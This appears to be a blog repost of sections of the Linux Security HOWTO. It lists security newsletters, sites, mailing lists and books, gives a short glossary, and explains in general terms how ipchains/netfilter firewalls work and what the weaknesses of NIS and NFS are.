written by the LinuxSecurity staff and people collectively around the world.
• Linux Advisory Watch95 -- A comprehensive newsletter that outlines the security
vulnerabilities that have been announced throughout the week. It includes pointers
to updated packages and descriptions of each vulnerability.
• Linux Security Week96 -- The purpose of this document is to provide our readers
with a quick summary of each week’s most relevant Linux security headlines.
• Linux Security Discussion List97 -- This mailing list is for general security-related
questions and comments.
• Linux Security Newsletters98 -- Subscription information for all newsletters.
• comp.os.linux.security FAQ99 -- Frequently Asked Questions with answers for the
comp.os.linux.security newsgroup.
• Linux Security Documentation100 -- A great starting point for information pertaining
to Linux and Open Source security.
FTP Sites
CERT is the Computer Emergency Response Team. They often send out alerts of current
attacks and fixes. See ftp://ftp.cert.org for more information.
ZEDZ (formerly Replay) (http://www.zedz.net) has archives of many security programs.
Since they are outside the US, they don’t need to obey US crypto restrictions.
Matt Blaze is the author of CFS and a great security advocate. Matt’s archive is available
at ftp://ftp.research.att.com/pub/mab
tue.nl is a great security FTP site in the Netherlands. ftp.win.tue.nl104
Web Sites
• The Hacker FAQ is a FAQ about hackers: The Hacker FAQ105
• The COAST archive has a large number of Unix security programs and information:
COAST106
• SuSe Security Page: http://www.suse.de/security/
• Rootshell.com is a great site for seeing what exploits are currently being used by
crackers: http://www.rootshell.com/
• BUGTRAQ puts out advisories on security issues: BUGTRAQ archives109
• CERT, the Computer Emergency Response Team, puts out advisories on common
attacks on Unix platforms: CERT home110
• Dan Farmer is the author of SATAN and many other security tools. His home
site has some interesting security survey information, as well as security tools:
http://www.trouble.org
• The Linux security WWW is a good site for Linux security information: Linux Security
WWW112
• Infilsec has a vulnerability engine that can tell you what vulnerabilities affect a
specific platform: http://www.infilsec.com/vulnerabilities/
• CIAC sends out periodic security bulletins on common exploits:
http://ciac.llnl.gov/cgi-bin/index/bulletins
• A good starting point for Linux Pluggable Authentication modules can be found
at http://www.kernel.org/pub/linux/libs/pam/.
• The Debian project has a web page for their security fixes and information. It is at
http://www.debian.com/security/.
• WWW Security FAQ, written by Lincoln Stein, is a great web security reference.
Find it at http://www.w3.org/Security/Faq/www-security-faq.html
Mailing Lists
Bugtraq: To subscribe to bugtraq, send mail to listserv@netspace.org containing the
message body subscribe bugtraq. (see links above for archives).
CIAC: Send e-mail to majordomo@tholia.llnl.gov. In the BODY (not subject) of the
message put (either or both): subscribe ciac-bulletin
Red Hat has a number of mailing lists, the most important of which is the redhatannounce
list. You can read about security (and other) fixes as soon as they come out.
Send email to redhat-announce-list-request@redhat.com with the Subject Subscribe
See https://listman.redhat.com/mailman/listinfo/ for more info and archives.
The Debian project has a security mailing list that covers their security fixes. See
http://www.debian.com/security/ for more information.
Books - Printed Reading Material
There are a number of good security books out there. This section lists a few of them.
In addition to the security specific books, security is covered in a number of other
books on system administration.
• Building Internet Firewalls By D. Brent Chapman & Elizabeth D. Zwicky, 1st Edition
September 1995, ISBN: 1-56592-124-0
• Practical UNIX & Internet Security, 2nd Edition By Simson Garfinkel & Gene Spafford,
2nd Edition April 1996, ISBN: 1-56592-148-8
• Computer Security Basics By Deborah Russell & G.T. Gangemi, Sr., 1st Edition July
1991, ISBN: 0-937175-71-4
• Linux Network Administrator’s Guide By Olaf Kirch, 1st Edition January 1995,
ISBN: 1-56592-087-2
• PGP: Pretty Good Privacy By Simson Garfinkel, 1st Edition December 1994, ISBN:
1-56592-098-8
• Computer Crime A Crimefighter’s Handbook By David Icove, Karl Seger &
William VonStorch (Consulting Editor Eugene H. Spafford), 1st Edition August
1995, ISBN: 1-56592-086-4
• Linux Security By John S. Flowers, New Riders; ISBN: 0735700354, March 1999
• Maximum Linux Security : A Hacker’s Guide to Protecting Your Linux Server and
Network, Anonymous, Paperback - 829 pages, Sams; ISBN: 0672313413, July 1999
• Intrusion Detection By Terry Escamilla, Paperback - 416 pages (September 1998),
John Wiley and Sons; ISBN: 0471290009
• Fighting Computer Crime, Donn Parker, Paperback - 526 pages (September 1998),
John Wiley and Sons; ISBN: 0471163783
Glossary
Included below are several of the most frequently used terms in computer security.
A comprehensive dictionary of computer security terms is available in the LinuxSecurity.
com Dictionary120
• authentication: The process of knowing that the data received is the same as the data
that was sent, and that the claimed sender is in fact the actual sender.
• bastion Host: A computer system that must be highly secured because it is vulnerable
to attack, usually because it is exposed to the Internet and is a main point of
contact for users of internal networks. It gets its name from the highly fortified
projects on the outer walls of medieval castles. Bastions overlook critical areas of
defense, usually having strong walls, room for extra troops, and the occasional
useful tub of boiling hot oil for discouraging attackers.
• buffer overflow: Common coding style is to never allocate large enough buffers, and
to not check for overflows. When such buffers overflow, the executing program
(daemon or set-uid program) can be tricked in doing some other things. Generally
this works by overwriting a function’s return address on the stack to point to
another location.
• denial of service: An attack that consumes the resources on your computer for things
it was not intended to be doing, thus preventing normal use of your network resources
for legitimate purposes.
• dual-homed Host: A general-purpose computer system that has at least two network
interfaces.
• firewall: A component or set of components that restricts access between a protected
network and the Internet, or between other sets of networks.
• host: A computer system attached to a network
• IP spoofing: IP Spoofing is a complex technical attack that is made up of several
components. It is a security exploit that works by tricking computers in a trust
relationship into thinking that you are someone that you really aren’t. There is an
extensive paper written by daemon9, route, and infinity in the Volume Seven, Issue
Forty-Eight issue of Phrack Magazine.
• non-repudiation: The property of a receiver being able to prove that the sender of
some data did in fact send the data even though the sender might later deny ever
having sent it.
• packet: The fundamental unit of communication on the Internet.
• packet filtering: The action a device takes to selectively control the flow of data to
and from a network. Packet filters allow or block packets, usually while routing
them from one network to another (most often from the Internet to an internal network,
and vice-versa). To accomplish packet filtering, you set up rules that specify
what types of packets (those to or from a particular IP address or port) are to be
allowed and what types are to be blocked.
• perimeter network: A network added between a protected network and an external
network, in order to provide an additional layer of security. A perimeter network
is sometimes called a DMZ.
• proxy server:Aprogram that deals with external servers on behalf of internal clients.
Proxy clients talk to proxy servers, which relay approved client requests to real
servers, and relay answers back to clients.
• superuser: An informal name for root.

IP Chains&Netfilter - Linux Kernel 2.2.x Firewalling

2010-03-20T21:30:00.000+07:00

Linux IP Firewalling Chains is an update to the 2.0 Linux firewalling code for the 2.2
kernel. It has many more features than previous implementations, including:
• More flexible packet manipulations
• More complex accounting
• Simple policy changes possible atomically
• Fragments can be explicitly blocked, denied, etc.
• Logs suspicious packets.
• Can handle protocols other than ICMP/TCP/UDP.

If you are currently using ipfwadm on your 2.0 kernel, there are scripts available to
convert the ipfwadm command format to the format ipchains uses.
Be sure to read the IP Chains HOWTO for further information. It is available at
http://www.adelaide.net.au/~rustcorp/ipfwchains/ipfwchains.html
Netfilter - Linux Kernel 2.4.x Firewalling
In yet another set of advancements to the kernel IP packet filtering code, netfilter
allows users to set up, maintain, and inspect the packet filtering rules in the new 2.4
kernel.
The netfilter subsystem is a complete rewrite of previous packet filtering implementations
including ipchains and ipfwadm. Netfilter provides a large number of improvements,
and it has now become an even more mature and robust solution for
protecting corporate networks.
iptables
is the command-line interface used to manipulate the firewall tables within the kernel.
Netfilter provides a raw framework for manipulating packets as they traverse
through various parts of the kernel. Part of this framework includes support for
masquerading, standard packet filtering, and now more complete network address
translation. It even includes improved support for load balancing requests for a
particular service among a group of servers behind the firewall.
The stateful inspection features are especially powerful. Stateful inspection provides
the ability to track and control the flow of communication passing through the filter.
The ability to keep track of state and context information about a session makes rules
simpler and tries to interpret higher-level protocols.
Additionally, small modules can be developed to perform additional specific functions,
such as passing packets to programs in userspace for processing then reinjecting
back into the normal packet flow. The ability to develop these programs in
userspace reduces the level of complexity that was previously associated with having
to make changes directly at the kernel level.
Other IP Tables references include:
• Oskar Andreasson IP Tables Tutorial80 -- Oskar Andreasson speaks with LinuxSecurity.
com about his comprehensive IP Tables tutorial and how this document can be
used to build a robust firewall for your organization.
• Hal Burgiss Introduces Linux Security Quick-Start Guides81 -- Hal Burgiss has written
two authoritative guides on securing Linux, including managing firewalling.
• Netfilter Homepage82 -- The netfilter/iptables homepage.
• Linux Kernel 2.4 Firewalling Matures: netfilter83 -- This LinuxSecurity.com article describes
the basics of packet filtering, how to get started using iptables, and a list of
the new features available in the latest generation of firewalling for Linux.

Firewalls Linux

2010-03-20T21:28:00.002+07:00

Firewalls are ameans of controlling what information is allowed into and out of your
local network. Typically the firewall host is connected to the Internet and your local
LAN, and the only access from your LAN to the Internet is through the firewall. This
way the firewall can control what passes back and forth from the Internet and your
LAN.

There are a number of types of firewalls and methods of setting them up. Linux machines
make pretty good firewalls. Firewall code can be built right into 2.0 and higher
kernels. The user-space tools ipfwadm for 2.0 kernels and ipchains for 2.2 kernels,
allows you to change, on the fly, the types of network traffic you allow. You can also
log particular types of network traffic.
Firewalls are a very useful and important technique in securing your network.
However, never think that because you have a firewall, you don’t need to
secure the machines behind it. This is a fatal mistake. Check out the very good
Firewall-HOWTO at your latest metalab archive for more information on firewalls
and Linux. http://metalab.unc.edu/mdw/HOWTO/Firewall-HOWTO.html
More information can also be found in the IP-Masquerade mini-howto:
http://metalab.unc.edu/mdw/HOWTO/mini/IP-Masquerade.html
More information on ipfwadm (the tool that lets you change settings on your firewall,
can be found at it’s home page: http://www.xos.nl/linux/ipfwadm/
If you have no experience with firewalls, and plan to set up one for more than just a
simple security policy, the Firewalls book by O’Reilly and Associates or other online
firewall document is mandatory reading. Check out http://www.ora.com for more
information. The National Institute of Standards and Technology have put together
an excellent document on firewalls. Although dated 1995, it is still quite good. You
can find it at http://csrc.nist.gov/nistpubs/800-10/main.html. Also of interest:
• The Freefire Project -- a list of freely-available firewall tools, available at
http://sites.inka.de/sites/lina/freefire-l/index_en.html
• SunWorld Firewall Design -- written by the authors of the O’Reilly book, this
provides a rough introduction to the different firewall types. It’s available at
http://www.sunworld.com/swol-01-1996/swol-01-firewall.html
• Mason - the automated firewall builder for Linux. This is a firewall script that
learns as you do the things you need to do on your network! More info at:
http://www.pobox.com/~wstearns/mason/

NIS (Network Information Service) (formerly YP).

2010-03-20T21:28:00.001+07:00

Network Information service (formerly YP) is a means of distributing information
to a group of machines. The NIS master holds the information tables and converts
them into NIS map files. These maps are then served over the network, allowing NIS
client machines to get login, password, home directory and shell information (all
the information in a standard /etc/passwd file). This allows users to change their
password once and have it take effect on all the machines in the NIS domain.

NIS is not at all secure. It was never meant to be. It was meant to be handy and useful.
Anyone that can guess the name of your NIS domain (anywhere on the net) can get
a copy of your passwd file, and use "crack" and "John the Ripper" against your users’
passwords. Also, it is possible to spoof NIS and do all sorts of nasty tricks. If you
must use NIS, make sure you are aware of the dangers.
There is a much more secure replacement for NIS, called
NIS+. Check out the NIS HOWTO for more information:
http://metalab.unc.edu/mdw/HOWTO/NIS-HOWTO.html

NFS (Network File System) Security.

2010-03-20T21:27:00.000+07:00

NFS is a very widely-used file sharing protocol. It allows servers running nfsd and
mountd to "export" entire file systems to other machines using NFS filesystem support
built in to their kernels (or some other client support if they are not Linux machines).
mountd keeps track of mounted file systems in /etc/mtab, and can display them with
showmount.

Many sites use NFS to serve home directories to users, so that no matter what machine
in the cluster they login to, they will have all their home files.
There is some small amount of security allowed in exporting file systems. You can
make your nfsd map the remote root user (uid=0) to the nobody user, denying them
total access to the files exported. However, since individual users have access to their
own (or at least the same uid) files, the remote root user can login or su to their account
and have total access to their files. This is only a small hindrance to an attacker
that has access to mount your remote file systems.
If you must use NFS, make sure you export to only those machines that you really
need to. Never export your entire root directory; export only directories you need to
export.
See the NFS HOWTO for more information on NFS, available at
http://metalab.unc.edu/mdw/HOWTO/NFS-HOWTO.html